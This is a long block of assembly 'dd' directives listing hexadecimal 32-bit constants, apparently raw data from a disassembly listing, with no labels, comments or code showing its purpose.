dd 6B3056E4h, 2000B86Dh, 0CC8010FAh, 6802B09h, 0F0DCB868h
dd 989A17h, 0E42A4404h, 0CDEADB3Eh, 0EE429B18h, 3660769h
dd 6F5894F8h, 4593FE9Fh, 0AE378EE8h, 9EDDDF00h, 3975EDECh
dd 708A50C6h, 2CF3004Fh, 0B4FDAA86h, 348A00Fh, 0C1FE1EF3h
dd 98DCDE43h, 0A839DF87h, 9411B030h, 10AE4C7Ch, 0D89EAA8Fh
dd 8C4BB829h, 35190A60h, 3D2C1h, 0CEBF7D70h, 88DE5BC8h
dd 5D16C00h, 5DA45957h, 56462898h, 6D182980h, 0A8AD04E0h
dd 9DDC4662h, 3A112188h, 402C9211h, 605308B0h, 90DFEA09h
dd 30580460h, 6E298D4Fh, 8C030B8Bh, 926DAA47h, 0FB84D8F1h
dd 0DAEA0FB6h, 0E1C9515Bh, 0DDF60820h, 0FC0BEFF9h, 0A10E0B6Fh
dd 22290C4h, 0E4651006h, 48C0C368h, 587E8050h, 11113004h
dd 28160C21h, 18482092h, 1802FF43h, 2D696D5h, 8E50BC46h
dd 8F0D0CA1h, 94C0657Ah, 8B609A00h, 9746751h, 73390182h
dd 0DD7B62AEh, 81B44423h, 25CB2F0h, 3384442h, 0F59D0432h
dd 6613CBADh, 45920C7h, 2CE7E30h, 0E325EE3Ch, 0AAEC0438h
dd 212040A4h, 105092A5h, 7D1C3163h, 5419A639h, 0C25EA88h
dd 306C0949h, 60E815E0h, 0BE3C591Fh, 0D32CBC59h, 2100485Dh
dd 0E005E25Ch, 38FE07B6h, 0ECDB2666h, 9256C38h, 8B540F58h
dd 70F40749h, 0C23021F8h, 934132D3h, 0C8305AD4h, 150B807Ch
dd 0E4E564CBh, 2FDDB200h, 7350B6B5h, 37F4B869h, 4428D420h
dd 5AB8B0E5h, 955D4203h, 0C066D2C9h, 2AD8D3E8h, 20D4F6E1h
dd 5C26A8EDh, 0E812369Ah, 7C08A856h, 0A36E0F78h, 500D0895h
dd 0AD8240Ch, 700924B4h, 6DC06240h, 0B9786221h, 0C16394CAh
dd 0C68C7901h, 24216555h, 874B1A4h, 0A3825D64h, 0AA8B9404h
dd 3609A418h, 6618021Eh, 0E913E05Bh, 71076009h, 76F9AA0Dh
dd 0E9A2403h, 0D82834ACh, 6190B5Dh, 8666B33Ah, 0C809414Eh
dd 200E8BA3h, 0D52EC128h, 68152C8Fh, 0BF45009Ch, 0E2C31FFCh
dd 9830D728h, 42E3DC44h, 501508B6h, 8C48852Dh, 0B8567Eh
dd 0B5415C08h, 1E8646Dh, 0A42E3718h, 17AD4AFEh, 211BA210h
dd 914B23F4h, 0AB092FC8h, 1A89A507h, 64BEC103h, 105E6037h
dd 90408965h, 58D71E06h, 0E21458CEh, 0A0850C58h, 0A6286822h
dd 281EDCAAh, 0E8591019h, 29F29658h, 4EF8C80h, 653A9399h
dd 5D784C1Bh, 54630164h, 554B134Ah, 404405Ah, 0C8A18723h
dd 0D00C0CCh, 1A10A9D8h, 30D02D08h, 0E5915E7Dh, 4490E7F3h
dd 4851BB4Eh, 2A18B83Ch, 0F6A4C269h, 542C4F62h, 30225844h
dd 0A134BC52h, 800B21C5h, 0DE0AA3Ah, 357017D9h, 0AC10151Ch
dd 425BEB0Bh, 0A517C882h, 4232FA61h, 0BCB6E948h, 0E9C36C46h
dd 610B45DEh, 0A2BC1926h, 277E661Ch, 0CD398DA1h, 2824299Bh
dd 0F04254A8h, 0BEFAF10h, 4B9F1A0h, 944014A4h, 5DDF5E27h
dd 75AB3101h, 8C429EE4h, 18313CC5h, 22327051h, 18CCE8C5h
dd 818F6E7Fh, 6E1B5223h, 2099DDE2h, 0D8BC49BAh, 0A0A1E2B4h
dd 709C240Dh, 0C8D208DDh, 0A581A481h, 2CE57064h, 88E250h
dd 9EC65222h, 47009C3Eh, 6D80A234h, 2F5F44h, 0E1BB0F56h
dd 0CAD71995h, 4BD8CE07h, 0F4D0F7D0h, 1C85893Ch, 0CFC6E9C7h
dd 29C0E226h, 879F9994h, 5D7D6E00h, 76D4BDCEh, 0D32600BAh
dd 0D73EF4BCh, 40C7A8FBh, 0EEF4878Bh, 38E24C00h, 8807AA18h
dd 2B5A8D9Fh, 9EC1C990h, 197791h, 3EE8D007h, 0F556B2C0h
dd 877A3A00h, 0BAC63CE0h, 35D70242h, 9188A018h, 44880C5h
dd 0F8A8DE7Fh, 0D03B37CBh, 0D8AAA43Bh, 29699400h, 0B9C9EAh
dd 2833D519h, 40E7FDD6h, 0A800D77Ah, 928E3E03h, 30FC32D1h
dd 2C4026D3h, 0D27D4BA2h, 0E2378707h, 2320CB9Eh, 2DB05FEh
dd 20BC0BCh, 92603857h, 0D0189382h, 0D640C626h, 0A32B203Dh
dd 32878800h, 9EBDB85Bh, 24223D9Dh, 0DDCCF80h, 4174B9DBh
dd 9300E97Dh, 0CEFCF3E1h, 3DC8F0h, 6F4B9D17h, 5B315492h
dd 2438BA4Ch, 745D94E2h, 0A142C900h, 99A3FD31h, 787719Ch
dd 0BCB8E27Ch, 616809Eh, 0E83CC007h, 72F70040h, 8C89E00Ah
dd 0FF430715h, 0E3D926C8h, 0D1D06F31h, 29006E44h, 0F78C960h
dd 1B282Ah, 0E803B4C4h, 46CA7B8h, 8918F47Eh, 24403119h
dd 323320D7h, 5D446B00h, 78B6E27Eh, 1A960019h, 31C8D522h
dd 0B30F9E4Dh, 0C0EFFFA8h, 0FA3CD47Ch, 0D74A000Ah, 9B6F1747h
dd 5C0E936Dh, 76B6EC7Eh, 0EA8C6Ah, 3DC6034Fh, 2931E2h
dd 9466999Dh, 0FAED336Bh, 489E7E1Dh, 0E1032090h, 56B49D2Fh
dd 8747F780h, 0C63DD40Eh, 40007FCCh, 0D184ABE6h, 83570079h
dd 0E1B4BAE5h, 277BDB98h, 4931B91Dh, 466CA80h, 0FE852661h
dd 0AF90029h, 2738D03Ah, 0D60097AEh, 542E8778h, 19EBA0Fh
dd 0D4052D42h, 0CC4B31CAh, 0FF006BF7h, 0D08B88F3h, 0AC8EEh
dd 153BDA2Dh, 90D2856Fh
dd 1E85A39h, 28A3BEB8h, 0AC6019DBh, 0C6D88EAh, 89753E13h
dd 0B72504D2h, 0DE60FF04h, 59AC9Eh, 54A6D508h, 67B8C8F2h
dd 0F318F114h, 0A400AB34h, 7650C58h, 7900F153h, 0B8F259B3h
dd 214080FBh, 0E540E775h, 0F8E2FC2Fh, 774300A4h, 3B76868Eh
dd 7A2F9085h, 2240810Eh, 7CDE870Bh, 0ED7B8040h, 60E1F510h
dd 6513F073h, 28E03F21h, 356EE25h, 225DD250h, 71002318h
dd 0E8D88EA8h, 763A108Dh, 1CD256D3h, 0BCB45820h, 0E1016C40h
dd 8A441CF1h, 381DC166h, 2FFF8E42h, 21E80802h, 507C4Bh
dd 60D059AAh, 0E56742DFh, 62600341h, 0C5C6FCFh, 4C681541h
dd 21C05E08h, 99623AA5h, 0FC700F8h, 45DBD3E9h, 0A3186877h
dd 57A09401h, 7F1888DFh, 6AD1D661h, 208453AAh, 225F0D47h
dd 44A410E6h, 3F28C01h, 4F96402h, 0AF0B9840h, 5C80954Eh
dd 20E8E3E6h, 449F0580h, 0C2008992h, 2BA0BB6Ah, 9743D53Dh
dd 0EB8B7420h, 0E000C0Ah, 76E827BFh, 0C8AEF53h, 74EF96Dh
dd 9614A888h, 904725h, 897EDC71h, 3AB4F15h, 0D53620EFh
dd 0A3F7405Ch, 59125F5Dh, 8417C50h, 0AEAC3AE1h, 8772568Fh
dd 97DB3B23h, 0C3E605F0h, 40E70400h, 5E530BF5h, 0D4FD0063h
dd 3C1BE1F6h, 900C141Dh, 59524295h, 51AD0088h, 0FA9C75A0h
dd 0A006DC1h, 789ABC4Dh, 124170h, 0C489AB2Fh, 39B3C716h
dd 0BA0AF915h, 654000E8h, 0D40227CCh, 2089951Dh, 0A9494C70h
dd 49DB0C4Ch, 4501816h, 0E0E9C4D5h, 27A4AD2Dh, 0EAD8A061h
dd 2748AAADh, 0C4C03820h, 18252366h, 40FCCC6Dh, 0D300E859h
dd 0E2C3887Ch, 3C002E4h, 51DA8771h, 0F15FBC63h, 8766884Eh
dd 11DC4AC4h, 55DA0080h, 0B6D8051Dh, 0DF66DDFEh, 217B08h
dd 2D55D123h, 0EA9560E9h, 68309B1Dh, 3CA40612h, 0EB777CBEh
dd 86AA6440h, 0E8B2509Fh, 54F0DD5h, 0F3D9F042h, 67069BB0h
dd 9600F6F8h, 0D302BB55h, 48510B12h, 0D2238887h, 0CC623B01h
dd 6118446Fh, 53A688h, 1A0DAD62h, 7A83DD3Fh, 180B8C26h
dd 29C95D87h, 0E287D8B0h, 0CAC400D4h, 0C3679454h, 0DB02D552h
dd 0C6906355h, 4F4C5E01h, 8C4E9894h, 830933B0h, 2A2C9E5h
dd 80B91FA0h, 641824F8h, 46ACA668h, 55D801C6h, 0B508051Bh
dd 4988790Ch, 2E5514D0h, 6710986Fh, 16C50178h, 0D8659003h
dd 986022FBh, 223160A1h, 1CD12610h, 2018EF5Eh, 7E62750h
dd 69DCA101h, 87059389h, 2CC7EF6h, 350163E2h, 56887C5Ch
dd 4F9065F0h, 12090BF0h, 45C00493h, 370025C8h, 8C036DACh
dd 0E91ED5A4h, 0EE58402Eh, 0A28325C1h, 94C25E28h, 0DC01CA46h
dd 0E8051F55h, 1D000BB6h, 21255D3h, 0A6002804h, 6FFDB860h
dd 9D165F21h, 2080180Ah, 60B8DBF5h, 55DD60B4h, 0E005241Ah
dd 0D4207070h, 408C5500h, 5D4DD92Eh, 4F7925F2h, 3B0158E8h
dd 33DE0C00h, 7FD4BBDCh, 492C00BAh, 32E06ECBh, 9A00D7C2h
dd 7BDA3F25h, 9DB6F90Eh, 2EA25081h, 9C133F7Fh, 0AAA0B8B0h
dd 39D482E0h, 8088548Dh, 0C7A31BB9h, 0AC12C663h, 0ECE09A21h
dd 0D621CE13h, 0FE48A3A0h, 4604D961h, 540B1893h, 6050088Ch
dd 5B28B185h, 0E91DC86Fh, 4C0730F2h, 82892B05h, 15C26E4h
dd 0CCE33B63h, 0C673681Bh, 5E971202h, 6ABB96ACh, 0D53084C4h
dd 0EC623861h, 448C4C6Fh, 5000A355h, 0D2F40162h, 0C95A5E14h
dd 0A4D24B19h, 63208A00h, 13A3D762h, 214C3BCBh, 84075A4h
dd 0D30006DEh, 41666024h, 0A741C0EBh, 9EBD9CADh, 0E38D6F00h
dd 59B515A4h, 6C90B593h, 0FC00ABCCh, 31D8A34h, 0D0562Ch
dd 0CD6DE31h, 0FEAECA21h, 5C461CBh, 18AC463Ch, 582C0D38h
dd 11AC2449h, 16400A86h, 0C340AC9Bh, 39A043Dh, 0A764ACFEh
dd 8EA8A6D1h, 0C9F93D3h, 0D4BB34F0h, 10E88C50h, 28EEE8Ch
dd 27912D9Ah, 18C0B8FAh, 0BF067230h, 886A182Ch, 0A5871D99h
dd 7909201Bh, 453D7C8h, 20604E24h, 6323DAA3h, 20511AEh
dd 0F5A318DBh, 60347C5Bh, 0B2231BA7h, 0F3C8D09h, 49040F43h
dd 0C7489092h, 217C98E7h, 0EF88DC13h, 0CE2F0123h, 0D9016E7Ah
dd 96218BB7h, 8C4582Bh, 0FD370925h, 0D3A5E002h, 2010DC69h
dd 8A620FCh, 0B8FE412Ah, 8C98293Eh, 0F9934A53h, 10AF00F2h
dd 0A8E8C5DFh, 1F00816Dh, 8FBCC2F6h, 0EE2F682Ah, 1BC4029Dh
dd 50211370h, 40E3E084h, 7B1C0681h, 0B4D0Ah, 70D35000h
dd 18C3B27Eh, 15CF85Ch, 0DD36021Dh, 20E25Dh, 0E84398h
dd 0CFCEECBCh, 92707BDEh, 847E027Ch, 38E854E7h, 6113FC84h
dd 0DC6125D1h, 0FC37F804h, 0CAE58C68h, 1700F75Ch, 0E85D0B76h
dd 0BA431D73h, 869F2AB8h, 1358B08Ch, 48F0B3FFh, 0C6C2C06Ch
dd 0F873E055h, 916C99B4h, 7C1F267Ch, 0F40EE00h, 58262F9Ah
dd 2D18708Bh, 0B23D6811h, 0D039DA0Bh, 60908CA3h, 8DDB27AAh
dd 0CF06CCC2h, 0A23F2049h, 0A4B43E3Ch, 6B0404FFh, 0BF225F14h
dd 53A46A20h, 0E8E55CA2h, 0F6827316h, 134D0760h, 0DEA7F3FBh
dd 47832050h, 0A75D383Eh, 0E80A2479h, 4EE4148h, 207BD1ABh
dd 0A90C3054h, 505E1786h, 93E53021h, 338EAA29h, 13188465h
dd 0F7DEC42h, 5A0B0367h, 20FCC1CCh, 0BCB428B5h, 660F8C57h
dd 20870A98h, 5008A1A6h, 48B60067h, 0FA99A7Ah, 0E70B892Ch
dd 97D10509h, 805C915Ch, 0CAFC06AAh, 4FED0280h, 87C8DC81h
dd 0ECD47262h, 0DA207D80h, 941DD3E9h, 905D021Ch, 1041ED62h
dd 2E0BF4D1h, 5E3488A8h, 800720h, 0B1A3ED76h, 0BEA087E2h
dd 62C4819Dh, 4980116Bh, 701A23CAh, 88B5C321h, 6708A8B4h
dd 0B2C81699h, 0B91D0080h, 27518684h, 0B172EAh, 14675AA4h
dd 2BE3F776h, 21666912h, 2C888412h, 0E501E9AFh, 0DB498316h
dd 0C8316881h, 48538590h, 5404C7E6h, 0B467181Ah, 0AAE266F0h
dd 4FADD318h, 5A9ED7A8h, 186881DAh, 18407E6Ch, 1D7A054Eh
dd 80804EE5h, 2148A858h, 24440950h, 7D8079D4h, 62BA3205h
dd 0F0D00563h, 4895E0Bh, 47AA6A15h, 80C8A01Dh, 68AB102h
dd 82348752h, 4131B2C0h, 0C1CC1024h, 68914Ah, 0AB8FF058h
dd 7300AA51h, 0A61657CBh, 796889DDh, 0DB3B0015h, 0A76AC2CCh
dd 517E894h, 70A05EAFh, 0F4C7487Ah, 5EF01610h, 3AFE3CC8h
dd 9A846C6Fh, 0A0BCC5FBh, 28CCB2Ch, 52055DBh, 7A19B6D0h
dd 55D21E10h, 0AC60470Bh, 967807CBh, 5FDA09B8h, 80C48064h
dd 5C02E75Ah, 907009D3h, 7E0F503Ch, 6F1F9C92h, 0A4652311h
dd 0EA44D7D4h, 50F8A2DFh, 0D3808A1Ch, 48D2050h, 8B253Fh
dd 16CA56E0h, 1D298Ah, 0CFEB9D01h, 0BF79B373h, 0E4397E28h
dd 0D53B1E12h, 734FC4C8h, 226C00C9h, 4E5E2188h, 6E8C80Fh
dd 7135D000h, 0B5541612h, 0B4505147h, 0C7480A3Eh, 55E0CE94h
dd 0B4F0051Ch, 4A512C94h, 9FD455E0h, 0CF9348A5h, 0E39F7Ch
dd 9542C01Eh, 0ACA0FB92h, 5E8001FEh, 0FAA0166Bh, 0BF7802F4h
dd 0DC035C92h, 7114AA22h, 66508048h, 0A5096F4Ah, 0C4D8D851h
dd 8A921E3h, 14742466h, 0C08092BDh, 0C0FF2F26h, 6BE20420h
dd 0E4A232E5h, 9E027CCCh, 0CB7110Fh, 7D59005Fh, 5C004E99h
dd 0B51FDD9Ch, 5865164Ah, 710E46Dh, 17048DCh, 2664ECF8h
dd 0FC51816Fh, 701222DDh, 3A5C50CCh, 8E27101Ch, 45000748h
dd 111692E8h, 4A628CAEh, 57DC720h, 0BAC4C2EEh, 0A4E474D4h
dd 7AF2A4B2h, 0B832630h, 1D3DC42h, 9E6830A3h, 14D4BEE8h
dd 0C108625Ch, 0AE0D4DCCh, 3C78006Ah, 67DB3FB2h, 468E600h
dd 26664091h, 70A9C1A7h
dd 5B6D2F9h, 308B801Eh, 1B8C818Dh, 90609443h, 18192E09h
dd 25D2C000h, 9D46AC35h, 0E4001B22h, 19925CBh, 2443AF10h
dd 12D4F265h, 0AB68C19Eh, 0F0420E0h, 6024909Eh, 66A93501h
dd 702C985Ch, 98C7CBCh, 0AE870B0Eh, 6B77A4A0h, 5CBB09B5h
dd 0C780370h, 14E8896Fh, 0B7006519h, 4A0FE2DEh, 3A2E51h
dd 0CFD0D847h, 9687F0DCh, 2D4A09Fh, 0A048C174h, 0B7F3BD0h
dd 0A187FE5Ah, 0CD0EE88h, 19F8F879h, 0B1CA480h, 11A32CABh
dd 1A474802h, 44631602h, 0BC503D0h, 95735C5Bh, 0E8985948h
dd 0A4058C78h, 0DDC9A93h, 8D5464C0h, 951414DDh, 1F7834E3h
dd 0B714659h, 14A1996Dh, 62E515C9h, 93EE00C0h, 0D3CF1D10h
dd 6090BF20h, 7439DF6Ah, 3B79730Eh, 0DA5EA63Fh, 881674C8h
dd 9D7DFBA5h, 0C4AC974Ch, 6605798Bh, 11AC92A2h, 49D6CCAh
dd 37808F11h, 75DA9BCEh, 1703B727h, 8B059144h, 328C00C4h
dd 1EEC382h, 54015A1Bh, 2D866646h, 52E7D1Ch, 30264897h
dd 183D7B84h, 62C261Dh, 8004A9D9h, 1C023A46h, 0CE63C6A3h
dd 9E28233h, 0CAA37E00h, 0F91E2633h, 0C06F8EA8h, 9A6B50A8h
dd 6CE41D90h, 0B08C6217h, 10740558h, 87181F41h, 7A2519AAh
dd 0A0C46D05h, 70926F2Eh, 0E19CE1E4h, 5C09EC6Ch, 9C4065DBh
dd 7636BF0Bh, 46C0D851h, 0A31A0250h, 32BE63DCh, 0D98098F4h
dd 9F40A312h, 62EA0352h, 4261DBFCh, 4BBE9104h, 0F8F56C7Fh
dd 0C40DF6E4h, 81FC9968h, 68AF95B8h, 0C0D48800h, 6FD26235h
dd 0EF225446h, 624DA81Fh, 0BAF90585h, 0E24F40E4h, 9C71D5B1h
dd 0B500F1BCh, 0E05F4510h, 902917E5h, 9C7954E8h, 0C2720518h
dd 0B97019EDh, 0DC160110h, 0EB1EBBBEh, 0B71264F0h, 0DE687C0Ah
dd 0A04BCC00h, 5217E9BFh, 0BC41ECAh, 0A44AD751h, 9000319Ch
dd 1194ACC1h, 0F54EE8h, 5512C76Ah, 5D62184Ch, 24D9E488h
dd 421CE943h, 457462Fh, 50230ECh, 28F842A7h, 1E5D104h
dd 0F4F4061Bh, 72914373h, 9C631888h, 490A6E0h, 4180DB86h
dd 741FA540h, 40B69420h, 631057E3h, 3C1F49B1h, 0B0646F16h
dd 3D24EE00h, 300D4692h, 0A2EC000Fh, 7A231F2Ch, 8C0067E2h
dd 66D39E41h, 206B61F8h, 0D70B4311h, 0D207DABEh, 1971696Ch
dd 140C34C6h, 314561DCh, 0D4020953h, 0A8901FCDh, 89C05842h
dd 6DD0F767h, 0E31300B9h, 0DD1D06BEh, 6C38D71Ch, 320585C2h
dd 88202665h, 5EE72170h, 614097B9h, 6804B2F9h, 7BE20CDCh
dd 269F69B1h, 0AD8C0AAFh, 0D362E448h, 9034A124h, 4CE0C264h
dd 9C000CAh, 0BB6ADA75h, 64BAB6EBh, 98F9820Ah, 5D04E079h
dd 0C4CC39C3h, 0E1E01DB3h, 0F3CA80ADh, 551A9ED7h, 53E48482h
dd 0D9A31D60h, 11166323h, 15D40006h, 0C7585BA3h, 669018A5h
dd 0C4C948EAh, 68D01B0Ah, 3824C870h, 0E82B810Bh, 805382A4h
dd 71097E77h, 422DCB4h, 4245AC18h, 20B440EAh, 3C07F6C9h
dd 0C53A9507h, 1AE5F939h, 64449C12h, 0E8044A99h, 1EF6400Fh
dd 50CD7B5Ah, 36F8C7h, 76A45B78h, 4AE5221Bh, 25E81A02h
dd 72D796ABh, 6E3D3CA8h, 107C571Ah, 4B3A9C44h, 1E2408Bh
dd 0A8FC879Dh, 0D0920BD4h, 0E92551C5h, 5042914h, 6C872024h
dd 0C21F854h, 6216111Ah, 27C5432h, 0DBB45917h, 0F05A1CEDh
dd 0EE1220h, 85BE6877h, 0BB216527h, 882838F9h, 7E168187h
dd 6073DBA7h, 915AC738h, 0E22B5444h, 0D8881B0Bh, 241E081Ch
dd 80BE1C28h, 10A5EF0Ah, 59AE640Dh, 93942441h, 8A29089h
dd 184D0C11h, 0DBA3081Fh, 0EC4A663h, 0A317DA40h, 280FCD77h
dd 2495523Bh, 658054B3h, 76941DB7h, 0F82D687Bh, 0A295088Ch
dd 157B719Eh, 18C4BF96h, 63B820E6h, 9ABE3AB7h, 3815F11Ah
dd 7C1A7EC1h, 8C8FE8E4h, 2C9C2F00h, 0B0AD17AAh, 0F409CF2h
dd 4A01E9CCh, 82A6CF86h, 0EB116C80h, 169481C8h, 0E048E65Dh
dd 3E78B90Ah, 94A5962Dh, 7D90EC70h, 0D3672894h, 0C5AC36E1h
dd 908B1A18h, 0FCA625C4h, 0F1CF16D6h, 0A7FF8147h, 0A47C6452h
dd 0F4F2806h, 2548A05Ch, 5463FEDAh, 0AA14FFD8h, 0D360D016h
dd 60368462h, 0B13C6F1Bh, 4EA9C084h, 4F4CA162h, 80BB80CCh
dd 103DBB8h, 118ED0F4h, 351CC797h, 2115F098h, 90230580h
dd 0E9E1250h, 0FAF407CBh, 7B03DFAEh, 0E002A762h, 37C3523h
dd 10C456B6h, 717BCDBAh, 825B3C24h, 6D0F8CF9h, 0A47BEB2h
dd 94A3D411h, 0BB96B946h, 16667024h, 880E7321h, 51C16FBCh
dd 569EA085h, 4025C612h, 0ACC354C3h, 2411500Bh, 811888E3h
dd 14C7501Bh, 97A0282Dh, 80769134h, 0D85B9311h, 617717BCh
dd 246C08AAh, 1820E812h, 13D7C86Ch, 9141697Fh, 0FCF25FF4h
dd 843EC28Eh, 0F003FFE6h, 799A186Ah, 9E6780A6h, 0C51B0592h
dd 0E0CDDA5Bh, 0C990544h, 40C40196h, 79235C2Eh, 0AA5ADA00h
dd 0A38F9386h, 0C052FAB4h, 808467E8h, 0A01787E8h, 0DCD2E7D1h
dd 0A319304Fh, 0B663C516h, 1D01438h, 143BA311h, 34F6F9EEh
dd 2A3EBE3Ch, 0D9E7926Dh, 0E490B044h, 6F01F842h, 1AA27C6Bh
dd 7AD1F451h, 132E1718h, 69086042h, 8D400922h, 1C19C468h
dd 772F6A00h, 2870B80h, 0B0049AF1h, 0C15307A0h, 40108606h
dd 0F4BB4E12h, 22CE6117h, 0A4169891h, 0AC0E9B00h, 53E3C90Fh
dd 205C7268h, 0BD740245h, 0B4D85094h, 9C480033h, 0F9F7C3AAh
dd 4BA1B4Ah, 1279A4B9h, 85EC6F18h, 1E790E0Bh, 1190046Dh
dd 8410ED12h, 9C94E709h, 0B0E318C1h, 1C48F43Ch, 38C5EBCh
dd 119566E0h, 0FBB8F223h, 0DD03C178h, 5140250h, 5E2DAAFh
dd 3BD8C07Ah, 4E12BDCEh, 0ACA35EAAh, 87F89A4Bh, 0B500896Ch
dd 9583428h, 8A68185Fh, 66201464h, 0E7EF0006h, 4DC771DDh
dd 38B012A7h, 561AC520h, 0E048C5Dh, 0E9B97F01h, 0C8743B44h
dd 9337107Ch, 834EE33Dh, 41A4999Ch, 531312F1h, 96D3085h
dd 0ACE4D2FBh, 6C095CC6h, 0D1427401h, 0F358B180h, 0D15C1385h
dd 887015C9h, 63628872h, 0B01C554Bh, 444887C3h, 95E8E0E9h
dd 2DDD263Bh, 0C1A20F1Eh, 5C592F62h, 407268E2h, 0ECC71600h
dd 0AB073F7Bh, 389501ACh, 64CB56F7h, 0A4C7027h, 911EF42h
dd 0DE8C084Bh, 0D6E00E2h, 0B8286A11h, 76F30B01h, 4D24EEC5h
dd 219F3830h, 86145EDCh, 0ED72C5BCh, 5006E8C8h, 588D9802h
dd 0FDC8F011h, 911017AFh, 59478254h, 2B4DAE5h, 0A0BD7EAFh
dd 8C071C3h, 8499149Bh, 88A4F1A5h, 48231EFEh, 6E0E5691h
dd 0D19262F9h, 0C63DF60h, 7A1284E2h, 9CECA8D3h, 0C0946689h
dd 87798462h, 1E044ADh, 0A1164599h, 5478132Eh, 5C40882Ch
dd 0D045D325h, 8D08528h, 28A4410Ch, 82209918h, 11448604h
dd 0AB2F0205h, 0C81B3F44h, 5B402450h, 0A07C9Ah, 0B1C5C82h
dd 0D36E7764h, 0F07023F5h, 885EDF77h, 2184924Bh, 3E783CDDh
dd 0F17A84ECh, 0FC1DED84h, 0B896A96Bh, 4674EC2Ch, 60BC0078h
dd 87499115h, 142297A3h, 80803263h, 3793D533h, 12C2C53Ch
dd 0B4C00E9Fh, 0C53D1ACAh, 317C57C0h, 2DFE40D4h, 49AD14C0h
dd 10EEC8D4h, 1841701Bh, 18A2FC63h, 21A830h, 9ECAA77Eh
dd 8E9D80EAh, 0A4B42726h, 0F1E91209h, 320613DCh, 0A82A1060h
dd 4180D011h, 746FCE62h, 0E81695h, 0E76239A4h, 0A18A103Fh
dd 3CC52A0Bh, 361C02DFh, 10AC5A15h, 51EB5DBh, 0AA6E970Bh
dd 2FEDACD2h, 2BDBC3E0h, 0FD1F1CDCh, 180B8870h, 7B404E2h
dd 8B22961Dh, 0E307C46Ch, 887CB230h, 17A98718h, 0D67BE219h
dd 1FA448ACh, 0D509A599h
dd 968C64E0h, 1A04260h, 878B745Ch, 79DC4897h, 295F604Fh
dd 0E041E269h, 487EC00h, 0CDCB151Ah, 7E7B77E6h, 7E2F185Ch
dd 6C18A162h, 1C1730A4h, 980438ADh, 0D10788D3h, 232E81D7h
dd 0F93A0093h, 5F072522h, 0F14F88E7h, 74667580h, 1400B93Ch
dd 3215DFCh, 0F40233h, 6D7E6589h, 11585408h, 70F6A727h
dd 26DC8E4Ch, 74B80ED5h, 20618FFh, 40343EDAh, 8C760BAAh
dd 0F9E7C342h, 1884794Ch, 5DB700C0h, 547038BEh, 0B7466ACh
dd 946B1818h, 0A4AB8729h, 0DB6208F8h, 503426Dh, 10C1ABFh
dd 0BC70C980h, 3B1EDDAAh, 8123A02Fh, 0CA8DDB00h, 1CF42CACh
dd 28BD9E26h, 80A77ADCh, 31C09150h, 493384C1h, 0B0B090h
dd 0AFCD930Ch, 96A85E30h, 8E700402h, 5205EA10h, 53A400ECh
dd 115DED3Fh, 2CBED03Ah, 1C1D465Eh, 3380F22Dh, 1344A2DBh
dd 6FF0C2A1h, 0B07EEF19h, 7102D889h, 36180028h, 0F1C3205Bh
dd 0F967EB01h, 938A704Bh, 0E0E5E4h, 33128381h, 0ACE6625Ch
dd 97962416h, 96C4840h, 3B42694Eh, 0C0548D8Ah, 39E407B0h
dd 0E001A92Ch, 1472377Fh, 0BA66040Eh, 29424C02h, 1E930019h
dd 3B07157Bh, 0A0132016h, 0B0AC53D7h, 54E8CAh, 0B062261Dh
dd 8B00A411h, 5DD42ACAh, 14E206B9h, 0F82F296Bh, 2EA83607h
dd 1449D943h, 93718DEh, 646FC862h, 0A200709Ch, 0C7A624Fh
dd 0A928826h, 46CBF017h, 136304A0h, 8756405Fh, 25D044BEh
dd 5C450B5Dh, 2C6010C4h, 48009954h, 6E2DD42Eh, 740DED94h
dd 0E2410570h, 0B4365963h, 0B240B730h, 19D310A4h, 0A48B921Ch
dd 0D5C013C8h, 2EEE3BB8h, 9420C03h, 0D0209ABFh, 0A580A95Ch
dd 4E011C14h, 369D04C8h, 0E8AC140Bh, 0EE8C54BCh, 0A70517B6h
dd 8AF04076h, 0BFE71BC4h, 0E12E1238h, 6B4D4611h, 0A8432423h
dd 0E83318A2h, 0E9CD0Ch, 0DB07ADC8h, 6E17F149h, 6606997h
dd 2B6B4D30h, 2FA041BDh, 24029C35h, 5B4A1740h, 7134A948h
dd 1E2D18EFh, 0D35B0BC4h, 0C8508BE7h, 3490C081h, 361D29BEh
dd 8A405FD9h, 0B78EA8C8h, 344A9F86h, 500905Ah, 3CC44A9Ah
dd 5AE555A5h, 87449027h, 4EF04920h, 0B4C21300h, 3145688h
dd 0E24CEFh, 5742A24h, 884A2EB3h, 8403D764h, 5A0B39E8h
dd 51C815C9h, 7C78985Ch, 5E7318h, 0D5A740F8h, 0CAE81C39h
dd 342E87F8h, 0DB0298D3h, 0D0606DD2h, 1674804Ch, 48F7002Ah
dd 6870DD58h, 644C9DBBh, 18342234h, 0E1F35E2Ch, 72F11F8h
dd 0D08C25ABh, 61E2E8F2h, 0E6D530h, 0C6C0F386h, 0D32EA109h
dd 0C4E48B5Ch, 0B8A4E253h, 10414205h, 1A040306h, 536D09EAh
dd 1FF264B2h, 487F3E30h, 900B8856h, 20D6C6Fh, 0B20063F0h
dd 0DEB3011h, 66955C09h, 797C0222h, 240E0F40h, 0A70170C2h
dd 0F4A31C78h, 80EC3DF3h, 869DD0Fh, 9131398h, 20F44B1Ah
dd 14ED003Ch, 2EAF18A1h, 753A61BCh, 0CC2A2455h, 48C67702h
dd 617C7885h, 6B7148D3h, 9C70A0E7h, 90357920h, 109E2008h
dd 5D97E804h, 0F4BC5EB8h, 80ED201Eh, 0D8B1BFDAh, 8F4E96AAh
dd 604BD4B0h, 5AD6898Ah, 0EE168031h, 0A8D0420Ch, 0F9F8D4h
dd 7627C26Bh, 0A6B037BCh, 6620D10Bh, 0E44CE545h, 917B6007h
dd 0AA50096Ch, 6478C38Eh, 18E21CB0h, 9D876822h, 313BC0C4h
dd 0C4EB8006h, 0FB1C7B15h, 0E4395C55h, 0AB26ACC2h, 7B608058h
dd 0FC1BE3B9h, 1E39012Eh, 0CE95929h, 0B751ADA4h, 0CDEF0004h
dd 7A612DB0h, 5BBB702h, 0B5706AFh, 54878C1h, 0A56A6008h
dd 1AE00882h, 1053AA03h, 4D0892B8h, 2DB2BC70h, 6C68413Eh
dd 5000799h, 329749F8h, 3A137BFh, 307B9885h, 0D090C567h
dd 6B1661F6h, 0E4491749h, 280F9AAh, 0CB1ABE63h, 0E54028DCh
dd 0E80D6AACh, 7B6B007Dh, 0A49B6F3Ch, 0CA0374BDh, 0CCC884ECh
dd 41802624h, 0E91840BCh, 0B67A9242h, 2F86B00h, 46A950DDh
dd 0CC3C04C7h, 0A4AC871Ah, 4D1C9A24h, 0C3C16E72h, 0D052A96Ah
